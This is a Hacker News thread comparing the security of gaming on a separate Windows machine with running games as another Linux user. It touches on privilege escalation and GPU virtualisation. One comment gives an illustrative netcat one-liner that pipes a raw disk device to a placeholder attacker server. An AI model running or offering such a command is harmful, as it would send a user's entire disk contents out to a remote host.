Hacker News Reader

Having an insecure os (not that I'd say that Windows is one) on a machine that does nothing else but gaming is still more secure than doing everything on the same machine.

> In contrast on Windows most games run as Admin

That's not true.

> or at some point ask for admin privileges.

Usually this is a UAC prompt so that the installer can deploy the game/app into Program Files. This isn't the fault of Windows and I'm fairly certain this could be avoided by the developer of the game/app.

> play your game without Windows having a hissy fit about Windows updates

You know you can defer updates and the nag? But then if you value your security then you'd install these updates (I lifted this from the start of your comment).

> without worrying that some bad patch from Microsoft will hose your entire setup

These are fairly rare, and personally never had it happen. I've hosed my Fedora install because the package manager really ballsed things up. But that was also a rare event.

I run both Windows and Linux and feel I'm in happily in control of both OS's.

Compartmentalization as a security practice has value regardless of the OSes involved.

This would be true also if you split your use cases into two Linux instances.

> You can easily install all your games on another user on your linux box and run as that user.

No, you can't play all your games on linux. Anti cheat is one of the big problems for example.

No I think it makes some sense. You’re thinking in absolute terms. If you know everything and do everything right, your description may be better. But if you don’t want to be so careful all the time, wanting to be relax and not need to think about security implications all the time, the setup above is quite good.

I carry out a similar mentality, I don’t trust Windows and hence I run things I don’t trust on Windows as well. Eg I only install Zoom native app on Windows but not on any other desktop OSes. Use windows like it is a public machine, and you’ll have nothing to lose. (It is just an analogy, not to mean an exact statement, because you always has something to lose… just minimally here.)

> This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windows most games run as Admin or at some point ask for admin privileges.

Reminds me of https://xkcd.com/1200/ ; why would running games as admin matter in the slightest if your actually sensitive data, ~/Documents, is not even on that computer ? If it were on linux with another user, the game could still do `cat /dev/sda | nc evil.game.server` unlike here.

> If it were on linux with another user, the game could still do cat /dev/sda | nc evil.game.server unlike here.

That's not true. Only root can read directly a disk device, or an user that is on the 'disk' group:

brw-rw---- 1 root disk 8, 0 fev 1 07:50 /dev/sda

And of course a very easy to exploit bug that has been around for like 12 years hasn't gone public a few days ago because LPEs DO NOT EXIST IN LINUX.

I mean, it's quite obvious, exploitable bugs do not exist in Linux because back in the day Ken, Dennis, Brian, Doug and Joe agreed that they were not part of the Unix philosophy so they left them for windows to implement. /s

Aside from the stupid joke, what OP is saying is absolutely right, if you care about security keep your things properly isolated, keep a (whichever OS you trust but hopefully linux or a bsd) as main box and then a windows or macos computer isolated (best case scenario using a vlan capable switch, or a dedicated pi that acts as a firewall just for that box).

> You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important.

I have been told enough times that existence of RCE should be assumed as root access, because someone who can do RCE could probably do a PE too..

I game on linux, it's not as secure as I would like it to be. I run everything under unprivileged container including steam, the problem is that for vulkan hardware renderer to work it requires direct access to the device and the linux kernel doesn't virtualize device access. It's a security nightmare as far as I can see.

One issue with device virtualization is that the required hardware features are often locked out in non enterprise-grade hardware (although they can sometime be unlocked, for example: https://github.com/DualCoder/vgpu_unlock).

thank you for that link. Does AMD have the same shenanigans of locking out consumer grade gpu's? Intel has GVT-g vGPU virtualization which works with intel integrated graphics, it will be interesting to see what road Intel takes with their dedicated GPUs.

I might be misinformed, but my understanding is that consumer AMD cards, for the most part, do not have the required virtualization hardware at all, so there is nothing to unlock.

Unfortunately, it seems that GVT-g is dead going forward. The word is it's not coming to the latest iGPUs and they plan to "replace is with SR-IOV" which isn't the same thing and I haven't even heard of anyone getting it to work anyway.

Really stinks because I was super interested in a GVT-g on their new discrete cards.

FWIW Nvidia has removed some of these restrictions lately.

Amazing. Will have to try it then, as it is a bit annoying to have to restart to assign the card to a vm.

And as we all know, it's been ages[0] since the last local privilege escalation vulnerability on Linux.

[0] 4 days, to be exact - https://nvd.nist.gov/vuln/detail/CVE-2021-4034